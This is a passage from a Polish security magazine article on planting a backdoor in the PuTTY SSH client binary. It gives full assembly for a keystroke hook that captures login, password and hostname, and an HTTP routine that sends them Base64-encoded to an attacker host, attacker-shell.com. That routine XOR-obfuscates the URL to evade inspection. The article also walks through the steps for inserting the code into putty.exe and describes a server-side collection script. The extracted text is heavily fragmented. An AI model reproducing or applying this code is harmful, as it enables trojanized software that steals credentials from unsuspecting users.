www.hakin9.org
21
hasło/hostname). Jednak zanim
przejdziemy do pisania naszego
sniffera haseł, musimy znaleźć tro-
chę miejsca na nasz kod wewnątrz
pliku putty.exe.
Nie możemy po prostu dodać baj-
tów naszego kodu pod dowolnym
miejscem w pliku, zwiększając je-
go objętość – ze względu na to, że
plik PE stanowi spójną strukturę da-
nych i taka operacja z pewnością by
ją zniszczyła (część danych znalazła
by się pod innymi adresami, w konse-
kwencji wskaźniki wskazywałyby złe
miejsca w pliku). Moglibyśmy spróbo-
wać dodać nasz kod na koniec pli-
ku putty.exe (jak to robią wirusy),
jednak rozmiar pliku uległby zwięk-
szeniu, przez co nasza modyfikacja
stałaby się łatwo wykrywalna przez
programy antywirusowe.
Każda sekcja wewnątrz pliku mu-
si zaczynać się pod adresem, któ-
ry jest wielokrotnością tej wartości.
Bardzo rzadko zdarza się, że sekcje
wewnątrz pliku kończą się dokład-
nie na granicy tych wyrównań. Dlate-
go istnieje duża szansa, że znajdzie-
my sporo wolnej przestrzeni pomię-
dzy poszczególnymi sekcjami w pliku.
Użyjemy edytora heksadecymalnego
Hiew, aby sprawdzić, czy znajdziemy
wystarczającą ilość wolnego miejsca
na końcu sekcji kodu (
code section
)
w pliku putty.exe.
Po otwarciu pliku w Hiew prze-
łączamy edytor w tryb heksade-
cymalny (F4), a następnie wciska-
my (F8) w celu podglądu nagłów-
ka PE. Znajdziemy tam informację,
która mówi nam, że wartość wyrów-
nania (
file alignment
) wynosi
0x1000
.
Oznacza to, że każda z sekcji za-
czyna się pod offsetem będącym
wielokrotnością liczby
0x1000
. Na-
stępnie przechodzimy do listy sekcji
pliku przez (F6). Jak widać na Ry-
sunku 4, w pliku putty.exe występu-
ją 4 różne sekcje.
Przyjrzyjmy się pierwszej sek-
cji, nazwanej .text, która zawie-
ra kod programu
PuTTY
(sekcja ko-
du). Sekcja ta zaczyna się pod adre-
sem
0x1000
pliku putty.exe. Widzimy,
że następna sekcja (
.rdata
) zaczyna
się pod adresem
0x50000
. Odejmu-
jąc adres początku pierwszej sekcji
od adresu drugiej sekcji, otrzymamy
fizyczny rozmiar sekcji
.text
w pli-
ku putty.exe – jest on równy
0x4F000
.
Zauważmy, że jedna z kolumn w ta-
beli sekcji na Rysunku 4 nazywa się
VirtSize
. Definiuje ona rozmiar wirtu-
alny, który w przypadku sekcji
.text
jest mniejszy od obliczonego przez
nas rozmiaru fizycznego, wynosi on
bowiem
0x4E4D1
. Wirtualny rozmiar
sekcji określa faktyczną ilość bajtów
zajmowaną w pamięci przez sekcje
kodu. Oznacza to, że część sekcji
kodu w pliku putty.exe jest niewyko-
rzystana i stanowi wyrównanie sek-
cji. Wielkość niewykorzystanego ob-
szaru możemy obliczyć odejmując
wirtualny rozmiar sekcji, od rozmiaru
fizycznego (na który składa się kod +
bajty wyrównania):
0x4F000 - 0x4E4D1
co daje 2863 nieużywane bajty, któ-
re możemy nadpisać naszym ko-
dem. Jest to ponad 2,5kB miejsca,
co w zupełności nam wystarczy.
Pozostaje jeszcze obliczyć, pod
jakim offsetem zaczyna się niewy-
korzystany obszar, a więc pod jakim
offsetem będzie położony początek
naszego kodu. Wystarczy dodać of-
fset, pod którym znajduje się począ-
tek sekcji
.text (0x1000)
do wirtual-
nego rozmiaru sekcji (
0x4E4D1
):
0x1000 + 0x4E4D1
co daje
0x4F4D1
. Pod tym offsetem
zaczyna się niewykorzystany obszar
sekcji
.text
i tu właśnie zamieścimy
kod naszego sniffera haseł.
Szukamy miejsca na dane
Oprócz miejsca na kod sniffera bę-
dziemy potrzebowali trochę prze-
strzeni na dynamicznie tworzone da-
ne – w tym globalne zmienne czy bu-
for, w którym zapiszemy przechwyco-
ne informacje (login/hasło/hostname).
Chociaż 2,5kB przestrzeni na końcu
sekcji
.text
wystarczyłoby zarówno
na nasz kod, jak i dane, to nie możemy
umieścić tam danych. Powodem jest
fakt, że sekcja
.text
posiada ustawio-
ny atrybut tylko do odczytu (readon-
ly), a zatem po uruchomieniu progra-
mu PuTTY zapis danych w tej sekcji
nie będzie możliwy. Wprawdzie istnie-
je możliwość dodania do sekcji
.text
możliwości zapisu, jednak oprogramo-
wanie antywirusowe mogłoby wtedy
uznać nasz plik za podejrzany.
W celu zapisu danych utworzo-
nych dynamicznie możemy skorzy-
stać z kolejnej sekcji – sekcji danych
nazwanej
.data
, która to domyślnie
posiada możliwość zapisu. Mimo te-
go, że fizyczny rozmiar tej sekcji jest
równy
0x1000
, jej wirtualny rozmiar wy-
nosi
0x7064
. Oznacza to, że dodatko-
wa przestrzeń zostanie zaalokowana
w trakcie uruchomienia aplikacji. Ist-
nieje szansa, że po tej alokacji uda
się odnaleźć wolny obszar, który nie
jest wykorzystywany przez program
PuTTY (nadpisanie używanej części
Rysunek 5.
Przeglądanie sekcji
.data z pomocą IDA w poszukiwaniu
wolnego obszaru pamięci
Rysunek 6.
Wywołanie funkcji ToAsciiEx, które należy zastąpić własnym
hakin9 Nr 2/2008
www.hakin9.org
Atak
22
pamięci programu PuTTY mogłoby
spowodować jego zawieszenie).
W odnalezieniu wolnej przestrze-
ni w sekcji
.data
pomoże nam narzę-
dzie IDA. Wystarczy załadować plik
putty.exe do programu IDA, następ-
nie przejść do zakładki Hex View,
w której musimy odnaleźć sekcję
.data
.
Przemieszczając się po sekcji danych
zauważymy, że część bajtów
0x470B00
aż do
0x471050
. Daje to ponad 1kB
przestrzeni na nasze dane, co w zu-
pełności spełnia nasze wymagania.
Piszemy kod
Po przeprowadzeniu naszej analizy
i zebraniu potrzebnych danych mo-
żemy przystąpić do modyfikacji pro-
gramu PuTTY.
API hooking
Zgodnie z wcześniejszymi ustale-
niami, chcemy przechwycić dane
wprowadzone przez użytkownika,
za pośrednictwem funkcji
ToAsciiEx
.
Wywołanie funkcji
ToAsciiEx
, do
którego trafiają klawisze wciśnięte
przez użytkownika, mieści się pod
adresem pamięci
0x43C854
(jak mo-
żemy odczytać z Listingu 1). Musimy
znaleźć sposób, który pozwoli prze-
chwycić wynik zwrócony przez tę
funkcję (którym jest kod ASCII wci-
śniętego klawisza), ale jednocześnie
nie zakłóci normalnego przebiegu
działania programu PuTTY.
Najprostszym rozwiązaniem te-
go problemu będzie zastąpienie wy-
wołania funkcji
ToAsciiEx
instrukcją
skoku, która przekaże kontrolę nad
programem PuTTY do naszego frag-
mentu kodu (sniffera haseł). W na-
szym kodzie sami wywołamy funk-
cję
ToAsciiEx
– otrzymując jej wynik.
Zadbamy również o to, by zapisać
wartości rejestrów procesora usta-
wione przez funkcję, co pozwoli na
późniejszy powrót do oryginalnego ko-
du (poprzez skok do kolejnej instruk-
cji, występującej po wywołaniu funk-
cji). Tym sposobem będziemy w stanie
przechwycić klawisze wciśnięte przez
użytkownika, nie zakłócając działania
programu PuTTY. Spróbujmy teraz za-
stosować ten pomysł w praktyce.
Otwieramy plik putty.exe z he-
xedytora Hiew, przełączamy edytor
w tryb disasemblera (decode mode)
i przechodzimy pod offset
0x3C854
,
pod którym to znajduje się wspo-
mniane wywołanie funkcji
ToAsciiEx
:
FF1520034500 call ToAsciiEx
Musimy zastąpić instrukcję wywoła-
nia instrukcją skoku. Aby wykonać
przejście do naszego kodu, możemy
posłużyć się następującą kombina-
cją instrukcji
push
i
ret
:
68D1F44400 push 00044F4D1
C3 ret
Adres
0x44F4D1
wskazuje na począ-
tek wolnego obszaru w sekcji
.text
,
ponieważ to właśnie tam zamieścimy
nasz kod. Instrukcja powrotu ret jest
tu odpowiedzialna za wykonanie bez-
względnego skoku pod podany ad-
res (absolute jump). Wykonuje ona po
prostu skok pod adres zamieszczony
na szczycie stosu. Ma ona identyczny
efekt co para instrukcji:
B8D1F44400 mov eax, 00044F4D1
FFE0 jmp eax
ale zajmuje o jeden bajt mniej. Dzię-
ki temu nie nadpiszemy niepotrzebnie
bajtów kolejnej instrukcji (a zatem nie
ma konieczności odtwarzania niczego
poza wywołaniem funkcji
ToAsciiEx
).
Po tej modyfikacji możemy zapisać
w pliku zmiany klawiszem (F9).
Prosty test
Teraz kiedy udało się nam zmodyfiko-
wać program PuTTY w taki sposób,
aby wykonywał instrukcje zawarte pod
adresem
0x4F4D1
za każdym razem,
gdy użytkownik wciśnie jakiś klawisz,
możemy napisać testowy fragment ko-
du, aby sprawdzić czy wszystko dzia-
ła poprawnie.
W hexedytorze Hiew przechodzi-
my pod offset
0x4F4D1
, gdzie znajduje
się wolna przestrzeń dla naszego ko-
Rysunek 7.
Prosty kod wyświetlający komunikat na ekranie
Rysunek 8.
Zmodyfikowana wersja PuTTY wyświetlająca przechwycone
dane
Backdoory w kodzie binarnym
hakin9 Nr 2/2008
www.hakin9.org
23
du (jak na razie jest ona wypełniona
zerami). Pierwszą rzeczą, jaką mu-
simy uczynić, jest przywrócenie wy-
wołania funkcji
ToAsciiEx
które nad-
pisaliśmy:
FF1520034500 call ToAsciiEx
Następnie zachowujemy wszystkie
rejestry procesora instrukcją:
60 pushad
aby PuTTY mógł poprawnie kontynu-
ować działanie po powrocie z nasze-
go kodu. W tym momencie możemy
zacząć pisanie własnego kodu.
Niech nasz kod wyświetla jakiś
tekst przy użyciu funkcji
MessageBoxA
– tak, abyśmy od razu widzieli, że zo-
stał on uruchomiony. Zapisujemy ar-
gumenty dla funkcji
MessageBoxA
na
stosie:
6A00 push 000
6A00 push 000
68F8F44400 push 0044F4F8
6A00 push 000
Adres
0x44F4F8
wskazuje łańcuch
znaków, który chcemy wyświetlić.
Następnie wykonujemy samą funk-
cję
MessageBoxA
(jej adres możemy
łatwo ustalić przy pomocy OllyDbg
wyszukując wywołania tej funkcji):
FF15E4034500 call [04503E4]
Ostatnie trzy instrukcje konieczne do
prawidłowego działania to:
61 popad
685AC84300 push 00043C85A
C3 ret
Ich zadaniem jest przywrócenie
uprzednio zachowanych rejestrów
(intrukcja
popad
), oraz przekazanie
kontroli nad programem z powrotem
do oryginalnego kodu PuTTY (in-
strukcje
push + ret
).
Pozostaje umieścić dowolny ciąg
znaków pod offsetem
0x4F4F8
i może-
my zapisać zmiany w pliku wciskając
(F9). Od tej pory program PuTTY po-
winien wyświetlać zadany komuni-
kat (w przypadku kodu widocznego
na Rysunku 7. będzie to napis: HEL-
LO!) na ekranie przy każdym naci-
śnięciu klawisza.
Przechwytywanie danych
Jeśli wszystko działa, możemy za-
brać się za pisanie bardziej zaawan-
sowanego kodu, który będzie prze-
chwytywał dane wprowadzone przez
użytkownika – to znaczy login, hasło
oraz nazwę hosta.
Listing 2. przedstawia przykła-
dową implementację sniffera haseł.
Prześledźmy szybko podany kod źró-
dłowy, aby zrozumieć, jak funkcjonu-
je. Na początku wywołana zostaje
funkcja
ToAsciiEx
, po czym następuje
sprawdzenie zwracanej przez nią war-
tości (która to znajduje się w rejestrze
EAX). Wartość zwrócona przez funk-
cję wskazuje, czy przekazany do niej
kod klawisza został pomyślnie przetłu-
maczony na kod ASCII. Jeśli zwróco-
na wartość jest równa 1, oznacza to,
że jeden znak został pomyślnie prze-
tłumaczony i umieszczony w buforze
(adres tego bufora został przekaza-
ny do funkcji jako parametr pTransla-
ted i – jak można zauważyć na Ry-
sunku 6 – ma on wartość: EBP+C).
W tym przypadku następuje skopio-
wanie znaku ASCII wciśniętego kla-
wisza z bufora (czyli spod adresu EB-
P+C) do zmiennej
created _ string
,
która zawiera dwa znaki:
l=
, czyli pre-
fiks oznaczający login. Tym samym
uzyskujemy pierwszą literę nazwy
użytkownika.
Proces ten powtarza się, kopiu-
jąc kolejno wprowadzane znaki loginu
na koniec ciągu znaków
created _
string
, aż do momentu gdy użytkow-
nik wciśnie klawisz (backspace) lub
(enter). W takim przypadku, wartość
zwracana przez funkcję ToAsciiEx
jest równa 0 (co oznacza, że ża-
den klawisz nie został przetłumaczo-
ny na kod ASCII). Powoduje to skok
do etykiety
special _ key
– gdzie znaj-
duje się kod odpowiedzialny za usta-
lenie, który z dwóch wspomnianych
klawiszy został wciśnięty. Rozróżnie-
nie obu klawiszy jest możliwe za spra-
wą bajtu znajdującego się pod adre-
sem EBP+8 (znajduje się tam wirtual-
ny kod klawisza, przekazany jako pa-
rametr
Key
do funkcji
ToAsciiEx
– co
widać na Rysunku 6).
Jeśli wciśnięty klawisz to (back-
space) (wspomniany bajt ma war-
tość
0x08
), następuje skasowanie
jednego znaku z łańcucha znaków
created _ string
.
Jeśli wciśnięto klawisz (enter)
(bajt równy
0x0D
), oznacza to, że użyt-
kownik skończył wpisywać swój login.
Dlatego na koniec łańcucha znaków
created _ string
dopisywany jest ko-
lejny prefiks:
&p=
– w celu odróżnie-
nia loginu od hasła, które to użytkow-
nik będzie teraz wprowadzał. Kolejne
litery hasła kopiowane są na koniec
Listing 1.
Funkcje użyte w programie PuTTY do odczytu znaków z
klawiatury
0043F03E
CALL
to DispatchMessageA
pMsg = WM_KEYDOWN hw =
1D03E0
(
"some-remote-host.com - PuTTY"
)
Key =
46
(
'F'
)
KeyData =
210001
00441519
CALL
to GetTickCount
00441533
CALL
to QueryPerformanceCounter
pPerformanceCount =
0012CCEC
0043BD67
CALL
to GetKeyboardLayout
ThreadID =
0
0043BD77
CALL
to GetKeyboardState
pState =
0012CBD4
0043BE0B
CALL
to SetKeyboardState
pKeyState =
0012CBD4
0043C854
CALL
to ToAsciiEx
Key =
46
(
'F'
)
ScanCode =
21
pKeyState =
0012CBD4
pTranslated =
0012CD00
MenuActive =
0
hKblayout =
04150415
hakin9 Nr 2/2008
www.hakin9.org
Atak
24
Listing 2.
PuTTY password sniffer – puttysnf.asm
;
puttysnf
.
asm
–
PuTTY
password
sniffer
.
386
code
segment
assume
cs
:
code
,
ds
:
code
org
100
h
;
counter
of
how
many
times
ENTER
has
been
hit
:
enter_counter
equ
470
B00h
;
counter
of
characters
in
login
/
password
:
char_counter
equ
470
B08h
;
variable
containing
the
length
of
created_
string
:
str_length
equ
470
B04h
;
string
for
login
/
password
/
hostname
:
created_string
equ
470
B10h
start
:
;
call
ToAsciiEx
call
ds
:[
450320
h
]
pushad
mov
edi
,
created_string
mov
ecx
,
ds
:[
str_length
]
add
edi
,
ecx
;
finish
,
if
str_length
==
0xFF
cmp
cl
, 0
FFh
je
return_to_host
;
checks
if
ENTER
or
BACKSPACE
was
hit
test
al
,
al
je
special_key
test
cl
,
cl
jne
no_prefix_1
;
adds
a
prefix
'
l
=
'
before
a
login
mov
word
ptr
[
edi
]
, 3
D6Ch
mov
byte
ptr
ds
:[
str_length
]
,
2
add
edi
,
2
no_prefix_1
:
;
finish
,
if
login
/
pass
has
more
than
30
chars
cmp
dword
ptr
ds
:[
char_counter
]
, 1
Eh
jg
return_to_host
;
saves
an
ascii
returned
by
ToAsciiEx
in
created_
string
mov
al
,
byte
ptr
ss
:[
ebp
+
0
Ch
]
mov
byte
ptr
ds
:[
edi
]
,
al
inc
dword
ptr
ds
:[
str_length
]
inc
dword
ptr
ds
:[
char_counter
]
special_key
:
mov
al
,
byte
ptr
ss
:[
ebp
+
8
]
;
checks
if
the
key
is
a
BACKSPACE
cmp
al
, 08
h
je
backspace_hit
;
checks
if
it
is
an
ENTER
cmp
al
, 0
Dh
jne
return_to_host
;
checks
if
a
user
has
finished
typing
login
inc
byte
ptr
ds
:[
enter_counter
]
cmp
byte
ptr
ds
:[
enter_counter
]
,
1
jne
no_prefix_2
;
adds
a
prefix
'
&
p
=
'
before
a
password
mov
dword
ptr
ds
:[
char_counter
]
,
0
mov
ds
:[
edi
]
, 3
D7026h
add
byte
ptr
ds
:[
str_length
]
,
3
no_prefix_2
:
;
checks
if
password
has
been
entered
cmp
byte
ptr
ds
:[
enter_counter
]
,
2
jne
return_to_host
;
adds
prefix
'
&
h
=
'
before
a
hostname
mov
[
edi
]
, 003
D6826h
add
dword
ptr
ds
:[
str_length
]
,
3
add
edi
,
3
;
ESI
=
the
address
where
a
hostname
is
stored
mov
esi
, 46
D680h
cld
copy
:
;
copies
a
hostname
at
the
end
of
the
created_
string
lodsb
stosb
test
al
,
al
je
show_message
inc
byte
ptr
ds
:[
str_length
]
jmp
copy
show_message
:
;
invokes
MessageBoxA
to
display
the
string
push
0
push
0
push
created_string
push
0
call
dword
ptr
ds
:[
4503
E4h
]
;
writes
0xFF
to
finish
intercepting
keys
mov
dword
ptr
ds
:[
str_length
]
, 0
FFh
jmp
return_to_host
backspace_hit
:
cmp
byte
ptr
ds
:[
char_counter
]
,
0
je
return_to_host
;
writes
zero
to
delete
the
last
char
dec
edi
mov
byte
ptr
[
edi
]
,
0
dec
dword
ptr
ds
:[
char_counter
]
dec
dword
ptr
ds
:[
str_length
]
return_to_host
:
;
passes
the
control
back
to
the
PuTTY
'
s
code
popad
push
43
C85Ah
ret
code
ends
end
start
Backdoory w kodzie binarnym
hakin9 Nr 2/2008
www.hakin9.org
25
ciągu
created _ string
, aż do momen-
tu gdy [enter] zostanie wciśnięty po
raz drugi.
created _ string
dodany zostaje
ostatni prefiks:
&h=
, aby możliwe by-
ło odróżnienie hasła od nazwy ho-
sta. Nazwa hosta jest doklejana na
samym końcu łańcucha znaków (po
skopiowaniu spod adresu
0x46D680
).
Na tym etapie ciąg znaków
created _ string
prezentuje się nastę-
pująco:
l=login&p=password&h=hostname.
Ciąg zostaje wyświetlony na ekranie
przy pomocy funkcji
MessageBoxA
.
Aby zapobiec ponownemu wy-
konywaniu kodu przy wciśnię-
ciu kolejnych klawiszy, w zmiennej
str _ length
zostaje zapisana war-
Listing 3.
Procedure for puttysnf.asm to send sniffed data over HTTP
;
send_data
–
Send
Data
Procedure
;
address
where
our
code
starts
in
memory
:
base_address
equ
44
F4D1h
– 100
h
;
var
.
containing
size
of
a
buffer
for
base64
code
:
buffer_size
equ
470
B0Ch
;
address
in
memory
where
the
URL
will
be
stored
:
URL
equ
470
BD8h
send_data
:
push
ebp
mov
ebp
,
esp
cld
mov
esi
,
(
base_address
+
offset
str1
)
mov
edi
,
URL
copy_str
:
;
copy
the
declared
URL
(
pointing
to
putty
.
php
)
into
memory
lodsb
test
al
,
al
jz
encode_str
xor
al
, 7
Fh
stosb
jmp
copy_str
encode_str
:
;
LoadLibraryA
(
"crypt32"
)
push
(
base_address
+
offset
str2
)
call
ds
:[
450250
h
]
mov
ebx
,
eax
;
LoadLibraryA
(
"wininet"
)
push
(
base_address
+
offset
str3
)
call
ds
:[
450250
h
]
mov
esi
,
eax
;
GetProcAddress
(
crypt32_hnd
,
"CryptBinaryToStringA"
);
push
(
base_address
+
offset
str4
)
push
ebx
call
ds
:[
450284
h
]
test
eax
,
eax
jz
return
mov
edi
,
eax
;
CryptBinaryToStringA
(
created_string
,
str_length
,
;
BASE64
,
URL
+
str1_length
-
1
,
buffer_size
)
mov
eax
,
buffer_size
mov
dword
ptr
ds
:[
eax
]
, 190
h
push
eax
push
(
URL
+
str1_length
–
1
)
push
1
push
dword
ptr
ds
:[
str_length
]
push
created_string
call
edi
;
GetProcAddress
(
wininet_hnd
,
"InternetOpenA"
)
push
(
base_address
+
offset
str5
)
push
esi
call
ds
:[
450284
h
]
test
eax
,
eax
jz
return
;
InternetOpenA
(
0
,
0
,
0
,
0
,
0
)
push
0
push
0
push
0
push
0
push
0
call
eax
;
EDI
=
internet_hnd
mov
edi
,
eax
;
GetProcAddress
(
wininet_hnd
,
"InternetOpenUrlA"
)
push
(
base_address
+
offset
str6
)
push
esi
call
ds
:[
450284
h
]
test
eax
,
eax
jz
return
;
InternetOpenUrlA
(
internet_hnd
,
URL
,
0
,
0
,
0
,
0
)
push
0
push
0
push
0
push
0
push
URL
push
edi
call
eax
return
:
leave
ret
str1
db
'
http
:
//
attacker
-
shell
.
com
/
putty
.
php
?
data
=
',
0
str1_length
equ
$
-
str1
str2
db
'
crypt32
',
0
str3
db
'
wininet
',
0
str4
db
'
CryptBinaryToStringA
',
0
str5
db
'
InternetOpenA
',
0
str6
db
'
InternetOpenUrlA
',
0
hakin9 Nr 2/2008
www.hakin9.org
Atak
26
tość
0xFF
, co gwarantuje zaprzesta-
nie ponownego wykonywania się ko-
du (za sprawą instrukcji porównania
cmp cl
,
0FFh
na początku kodu). War-
to zauważyć, że (zgodnie z naszym
planem) wszelkie zmienne przecho-
wywane są w sekcji
.data
, poczyna-
jąc od adresu
0x470B00
.
Kod sniffera został napisany
z myślą o kompilatorze TASM. Mu-
si on zostać skompilowany jako plik
COM. W tym celu wydajemy nastę-
pujące komendy:
tasm /x puttysnf.asm
tlink /x /3 /t puttysnf.obj
W wyniku otrzymamy plik putty-
snf.com, który zawiera czysty kod,
bez żadnych nagłówków – dzię-
ki czemu jego zawartość może zo-
stać wstawiona bezpośrednio do pli-
ku putty.exe pod adres
0x4F4D1
(nad-
pisując nasz testowy kod).
Do wstawienia pliku możemy użyć
programu Hiew. Przechodzimy pod
offset
0x4F4D1
, zaznaczamy odpo-
wiednio duży blok klawiszem (*) (kla-
wisz musimy wcisnąć dwukrotnie w
celu zaznaczenia początku oraz koń-
ca bloku), wciskamy (CTRL-F2) aby
wywołać funkcję
GetBlk
, która pozwa-
la określić plik do wstawienia. Wska-
zujemy ścieżkę do pliku puttysnf.com i
zatwierdzamy klawiszem (enter).
Po zapisaniu zmian klawiszem
(F9) PuTTY powinien wyświe-
tlić komunikat zawierający łańcuch
created _ string
zaraz po podaniu
hasła. Okienko to możemy zobaczyć
na Rysunku 8.
Przesyłamy dane na serwer
Potrafimy już przechwycić dane
wprowadzane przez użytkownika
oraz wyświetlić je na ekranie. Na-
szym ostatecznym celem jest jed-
nak przesłanie uzyskanych danych
na wybrany przez nas serwer – tak,
aby cały proces stał się niewidoczny
dla użytkownika.
Do przesłania danych na serwer
będzie potrzebny kanał komunika-
cyjny. Moglibyśmy wysłać dane jako
wiadomość e-mail stosując protokół
SMTP, jednak obsługa tego typu ko-
munikacji wymagałaby sporego na-
kładu kodu asemblera i byłaby dość
pracochłonna.
Najprostszym sposobem prze-
słania danych na serwer jest uży-
cie protokołu HTTP – z tego wzglę-
du, iż system Windows oferuje
spory zestaw gotowych do użycia
funkcji przeznaczonych do obsłu-
gi tego protokołu. Wykorzystując
transmisję HTTP jesteśmy w stanie
przesłać przechwycone dane jako
parametr do skryptu PHP umiesz-
czonego na odległym serwerze.
Implementacja tego rozwiązania
sprowadza się do utworzenia ad-
resu URL (adres do skryptu + pa-
rametr zawierający przechwycone
dane) oraz do jego otwarcia przy
użyciu odpowiedniej funkcji Win-
dows obsługującej HTTP.
Kod przykładowej procedury
korzystającej z HTTP do przesła-
Rysunek 9.
Pomyślnie przechwycone dane pojawiają się w pliku pass.log
na koncie atakującego
Listing 4.
Nagłówki użytych funkcji
HINTERNET
InternetOpen
(
__in
LPCTSTR
lpszAgent
,
__in
DWORD
dwAccessType
,
__in
LPCTSTR
lpszProxyName
,
__in
LPCTSTR
lpszProxyBypass
,
__in
DWORD
dwFlags
HINTERNET
InternetOpenUrl
(
__in
HINTERNET
hInternet
,
__in
LPCTSTR
lpszUrl
,
__in
LPCTSTR
lpszHeaders
,
__in
DWORD
dwHeadersLength
,
__in
DWORD
dwFlags
,
__in
DWORD_PTR
dwContext
);
BOOL
WINAPI
CryptBinaryToString
(
__in
const
BYTE
*
pbBinary
,
__in
DWORD
cbBinary
,
__in
DWORD
dwFlags
,
__in
LPTSTR
pszString
,
__in_out
DWORD
*
pcchString
);
Backdoory w kodzie binarnym
hakin9 Nr 2/2008
www.hakin9.org
27
nia danych na wejście skryptu PHP
został przedstawiony na Listingu 3.
Prześledźmy jej działanie. Proce-
dura zaczyna się od pętli kopiującej
adres URL (prowadzący do skryp-
tu PHP) do sekcji .data, aby moż-
liwe stało się dopisanie parametru
(
data=
) zawierającego przechwy-
cone dane. Kolejnym etapem jest
załadowanie odpowiednich biblio-
tek potrzebnych do otwarcia adre-
su URL.
Załadowane zostają dwie biblio-
teki: crypt32.dll oraz wininet.dll. Za-
ładowanie ich jest konieczne, po-
nieważ biblioteki te nie są wyko-
rzystywane przez program PuTTY.
Pierwsza biblioteka zawiera funk-
cję
CryptBinaryToStringA
, natomiast
druga – funkcje potrzebne do wysła-
nia zapytania HTTP (otwarcia adre-
su URL).
Funkcja
CryptBinaryToStringA
została wykorzystana w kodzie pro-
cedury do konwersji przechwyco-
nych danych (przechowywanych
w łańcuchu
created _ string
) na kod
Base64. Kod
Base64
gwarantuje po-
prawne przesłanie danych nawet
w przypadku, gdy użytkownik wpro-
wadzi znaki zakazane w adresach
URL. Dodatkowo kod Base64 spra-
wi, że zapytania HTTP staną się
mniej podejrzane dla osób przeglą-
dających logi serwera HTTP.
Na tym etapie wykonywania pro-
cedury adres URL w pamięci ma
następujący format: http://attacker-
shell.com/putty.php?data=[base64_
code].Ostatnią czynnością jest wy-
wołanie funkcji:
InternetOpenA
oraz
InternetOpenUrlA
, które to odpowie-
dzialne są za nawiązanie połącze-
nia HTTP i przekazanie danych (za-
kodowanych w Base64) do wskaza-
nego skryptu PHP.
Warto tu zauważyć, że proce-
dura każdorazowo sprawdza kod
powrotu funkcji
GetProcAddress
. Ta-
ki test zapobiegnie zawieszeniu się
programu PuTTY w momencie, gdy
jedna z ładowanych funkcji okaże
się być niedostępna w danym sys-
temie. Może się tak zdarzyć w przy-
padku funkcji
CryptBinaryToStringA
,
która to – choć bardzo wygod-
na – sprawia, że kod staje się ma-
ło przenośny (jest dostępna dopie-
ro w systemach Windows XP, oraz
Windows Vista). Dlatego, jeśli prze-
nośność kodu jest dla nas najważ-
niejsza, powinniśmy rozważyć napi-
sanie własnej funkcji konwertującej
dane na kod Base64.
Kod procedury należy wstawić
do głównego kodu naszego snif-
fera, tzn. do pliku puttysnf.asm
(np. na końcu pliku, zaraz nad linij-
ką zawierającą napis: code ends).
Przed zapisaniem zmian w pliku
musimy również usunąć wywołanie
funkcji
MessageBoxA
(wraz ze wszyst-
kimi parametrami zapisywanymi
na stosie instrukcją
push
), aby zapo-
biec dalszemu wyświetlaniu komu-
nikatu z danymi na ekranie. W miej-
scu wywołania
MessageBoxA
wsta-
wiamy instrukcję:
call send_data
która to wywoła procedurę wysyła-
jącą dane na serwer.
Tak powstały kod
puttysnf.asm
kompilujemy w identyczny spo-
sób, jak poprzednio. Musimy jed-
nak poddać drobnej edycji otrzy-
many plik COM przed wsta-
wieniem go do pliku putty.exe.
Procedura
send _ data
wykonu-
je jeszcze jedną operację, która
nie została jeszcze wspomniana.
W pętli
copy _ str
znajduje się in-
strukcja
xor
(exclusive or). Każ-
dy znak adresu URL przed skopio-
waniem do pamięci jest XORowa-
ny wartością
0x7F
. Spowoduje to, że
podany przez nas adres URL (za-
deklarowany w zmiennej
str1
) po
zakodowaniu operacją XOR będzie
kompletnie nieczytelny dla funkcji
InternetOpenUrlA
. W konsekwen-
cji – przechwycone dane nie zo-
staną przesłane do skryptu PHP.
Rozwiązanie tego problemu jest
proste. Operacja
XOR
jest komplet-
nie odwracalna, dlatego wystarczy,
że zakodujemy nasz URL operacją
XOR
z takim samym kluczem (to jest
0x7F
). Ponowne użycie operacji
XOR
przez funkcję
send _ data
da w wy-
niku niezakodowany adres URL.
Dzięki temu zabiegowi podany
przez nas adres URL będzie nie-
widoczny dla osoby postronnej, gdy
ta zdecyduje się podejrzeć plik put-
ty.exe przy pomocy edytora szes-
nastkowego.
Edytor Hiew pomoże nam zXO-
Rować bajty adresu URL. Wystar-
czy wczytać plik COM do edyto-
ra, przejść na widok szesnastko-
wy oraz wcisnąć klawisz (F3) w ce-
lu rozpoczęcia edycji. Następnie
na końcu pliku odszukujemy adres
URL, po czym wciskamy (F8) aby
wywołać funkcję XOR na każdym
ze znaków adresu (pomijając ostat-
ni bajt
NULL
, który to kończy string
i musi pozostać niezakodowany).
Jako klucz (
xor mask
) podajemy war-
tość
0x7F
. Po zapisaniu zmian klawi-
szem (F2), wstawiamy tak przygo-
towany plik COM do pliku putty.exe
pod offsetem:
0x4F4D1
.
Skrypt PHP
Pozostaje nam utworzenie skryptu
PHP, który będzie współpracował
z naszym snifferem, odbierając
przechwycone informacje. Skrypt
ten musi wykonać trzy czynności:
•
odczytać dane przesłane metodą
GET
na jego wejście jako parametr
o nazwie data,
•
skonwertować kod
Base64
(któ-
rym zakodowane są dane) na
czysty tekst,
•
zapisać zdekodowane informa-
cje (login/hasło/hostname) w pli-
ku na serwerze.
Listing 4. przedstawia przykład
skryptu realizującego wymienione
zadania. Skrypt, oprócz przechwy-
conych danych, rejestruje w pliku
datę oraz czas nadejścia zapytania.
Rejestrowany jest również adres IP
komputera, na którym uruchomiony
został program PuTTY zawierający
naszego sniffera. Skrypt
putty.php
do poprawnego działania wymaga
obecności pliku pass.log w swoim
katalogu. Plik ten musi mieć nada-
ne uprawnienia zapisu dla demo-
na WWW (wydanie komendy
chmod
o+w pass.log
powinno wystarczyć),
w przeciwnym wypadku rejestracja
otrzymanych danych w pliku nie bę-
dzie możliwa.
hakin9 Nr 2/2008
www.hakin9.org
Atak
28
Posiadając skrypt putty.php na
serwerze, możemy już uruchomić
zmodyfikowaną przez nas wersję
programu PuTTY, próbując zalogo-
wać się poprzez SSH na posiada-
ne przez nas konto. Jeśli nasz sniffer
działa poprawnie, w pliku putty.log
powinny pojawić się wpisane przez
nas podczas
Podsumowanie
Artykuł pokazuje, że modyfikacja
aplikacji bez dostępu do jej kodu źró-
dłowego jest jak najbardziej możli-
wa. Udało się nam odnaleźć miej-
sce, w którym program PuTTY prze-
chowywał wprowadzone znaki oraz
dopisać kod sniffera, przechwytują-
cego wrażliwe informacje. To jednak
nie wszystko – moglibyśmy posunąć
się o krok dalej i zmodyfikować pro-
gram PuTTY tak, aby nie tylko prze-
chwytywał hasła wpisane w momen-
cie logowania do zdalnego systemu
na początku sesji SSH, ale również
hasła wpisywane po wywołaniu sys-
temowych komend, jak
passwd
,
ssh
,
czy
su
